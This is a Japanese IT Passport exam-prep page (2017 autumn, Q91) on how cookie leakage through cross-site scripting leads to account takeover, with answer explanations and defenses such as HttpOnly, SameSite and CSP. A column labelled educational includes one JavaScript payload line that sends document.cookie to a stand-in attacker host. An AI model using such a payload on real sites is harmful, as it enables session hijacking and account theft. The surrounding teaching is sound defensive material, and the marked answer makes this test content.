ITパスポート 2017年 秋期 問91
問題文
クロスサイトスクリプティングなどの攻撃で、Cookieが漏えいすることによって受ける被害の例はどれか。
選択肢
ア:PCがウイルスに感染する。
イ:PC内のファイルを外部に送信される。
ウ:Webサービスのアカウントを乗っ取られる。(正解)
エ:無線LANを介してネットワークに侵入される。
🔒 解説は解答すると表示されます
Cookie漏えいによる不正ログイン被害【ITパスポート解説】
正解の理由
クロスサイトスクリプティング(英: Cross-Site Scripting:略称XSS)は、Webページに悪意あるスクリプト(普通はJavaScript)を埋め込み、閲覧者のブラウザ上で実行させる攻撃です。Cookie(クッキー:ブラウザに保存される小さなデータ)には、ログイン状態を表すセッションIDなど重要な情報が含まれることがあります。攻撃者がスクリプトでこのCookieを盗むと、そのセッション情報を使ってWebサービスに不正ログイン(アカウントの乗っ取り)が可能になります。したがって、選択肢の中で最も直接的に起こり得る被害は ウ「Webサービスのアカウントを乗っ取られる」です。
解法ステップ
- 問題文のキーワードを確認する:クロスサイトスクリプティング(XSS)とCookie漏えい。
- XSSが何をできるかを考える:ブラウザでスクリプトを動かせる(例:document.cookieにアクセスできる)。
- Cookieの中身が何に使われるかを思い出す:認証情報やセッションIDなどが保存されることがある。
- 選択肢をそれぞれ、Cookieの漏えいで直接起こるかどうかで判定する:
- 認証情報の盗用 → アカウント乗っ取りに直結(正解)
- ウイルス感染やファイル送信、無線LANからの侵入はCookie漏えいだけでは説明できない(間接的・別経路が必要)。
選択肢別の誤答解説
-
ア: PCがウイルスに感染する。
Cookieが漏れるだけではウイルス(マルウェア)が自動的にPCに侵入・実行されるわけではありません。ウイルス感染はメール添付や不正ソフトの実行など別の手段が通常必要です。 -
イ: PC内のファイルを外部に送信される。
ブラウザのCookieが盗まれても、攻撃者が直接そのPCのローカルファイルにアクセスして外部送信するわけではありません。ローカルファイル送信はさらに別の脆弱性(例えば任意ファイルアップロードやリモート実行)が必要です。 -
ウ: Webサービスのアカウントを乗っ取られる。
CookieにセッションIDや認証トークンが含まれていると、攻撃者はその値を使って正規ユーザとしてログインしたふりができます(セッションハイジャック)。XSSによるCookie盗用は典型的な手口です。 -
エ: 無線LANを介してネットワークに侵入される。
Cookie漏えいは主にWebアプリケーションとブラウザ間のやり取りに関する問題であり、無線LAN(Wi-Fi)経由のネットワーク侵入とは別カテゴリです。無線LAN侵入は暗号化の欠如や弱い認証が原因です。
よくある誤解
-
「Cookieが盗まれたらすぐにPCが壊れる」
Cookie自体は小さなテキストデータです。PCのシステムを破壊するものではなく、主にWebサービス上の認証情報などが危険になります。 -
「すべてのCookieが同じ危険度」
Cookieの用途は様々です。閲覧履歴を保存するだけのものもあれば、ログイン状態を管理する重要なCookie(セッションID)もあります。重要な情報が保存されているかどうかで危険度が変わります。 -
「XSS=ウイルス」や「ウイルス対策ソフトだけで防げる」
XSSはWebアプリの脆弱性を利用した攻撃で、ウイルス(マルウェア)とは仕組みが異なります。防御にはWeb側の対策(入力の無害化やHttpOnly設定など)も必要です。
補足コラム
-
セッションハイジャック(英: session hijacking)とは
ブラウザとサーバ間のやり取りで用いられるセッションIDを不正に取得し、正規ユーザになりすます攻撃です。XSSによるCookie盗用はその一例です。 -
ブラウザ側・サーバ側の代表的な防御策
- HttpOnly属性:CookieにHttpOnlyを付けると、JavaScriptからそのCookieを参照できなくなりXSSによる盗用を防ぎやすくなります。
- Secure属性:HTTPS接続時のみCookieを送る設定で、中間者攻撃のリスクを下げます。
- SameSite属性:外部サイトからのリクエストでCookieが送られるのを制限し、CSRF(クロスサイトリクエストフォージェリ)対策になります。
- 入力の無害化(エスケープ)・コンテンツセキュリティポリシー(CSP):XSSをそもそも起こさせない対策です。
-
簡単なXSSペイロード例(教育目的)
JavaScriptでCookieを外部に送る例:// 危険な例:実際に使うと不正行為になります fetch('https://attacker.example/steal?c=' + encodeURIComponent(document.cookie));HttpOnlyが付いているCookieはdocument.cookieから読み取れません。
FAQ
Q1: Cookieを盗まれたら必ずアカウントが乗っ取られますか?
A1: 必ずではありません。CookieにセッションIDや認証トークンが入っている場合に特に危険です。HttpOnlyや短い有効期限、IP補正などの対策があれば乗っ取りは難しくなります。
A1: 必ずではありません。CookieにセッションIDや認証トークンが入っている場合に特に危険です。HttpOnlyや短い有効期限、IP補正などの対策があれば乗っ取りは難しくなります。
Q2: 自分のPCでできる対策はありますか?
A2: ブラウザや拡張機能を最新に保つ、怪しいサイトやリンクを開かない、公共のWi-Fiでは重要な操作を避ける、などが有効です。また二段階認証(2FA)を有効にすると、Cookieだけでは完全に乗っ取れない場合が増えます。
A2: ブラウザや拡張機能を最新に保つ、怪しいサイトやリンクを開かない、公共のWi-Fiでは重要な操作を避ける、などが有効です。また二段階認証(2FA)を有効にすると、Cookieだけでは完全に乗っ取れない場合が増えます。
Q3: XSSとCSRFの違いは?
A3: XSSは悪意あるスクリプトを実行させてデータを盗む攻撃、CSRF(クロスサイトリクエストフォージェリ)は利用者の権限で意図しない操作をさせる攻撃です。どちらもWebの脅威ですが仕組みと対策が異なります。
A3: XSSは悪意あるスクリプトを実行させてデータを盗む攻撃、CSRF(クロスサイトリクエストフォージェリ)は利用者の権限で意図しない操作をさせる攻撃です。どちらもWebの脅威ですが仕組みと対策が異なります。
関連キーワード: クロスサイトスクリプティング、XSS、Cookie、セッションハイジャック、HttpOnly、SameSite、Webセキュリティ、JavaScript

\ せっかくなら /
ITパスポートを
クイズ形式で学習しませんか?
クイズ画面へ遷移する→
すぐに利用可能!

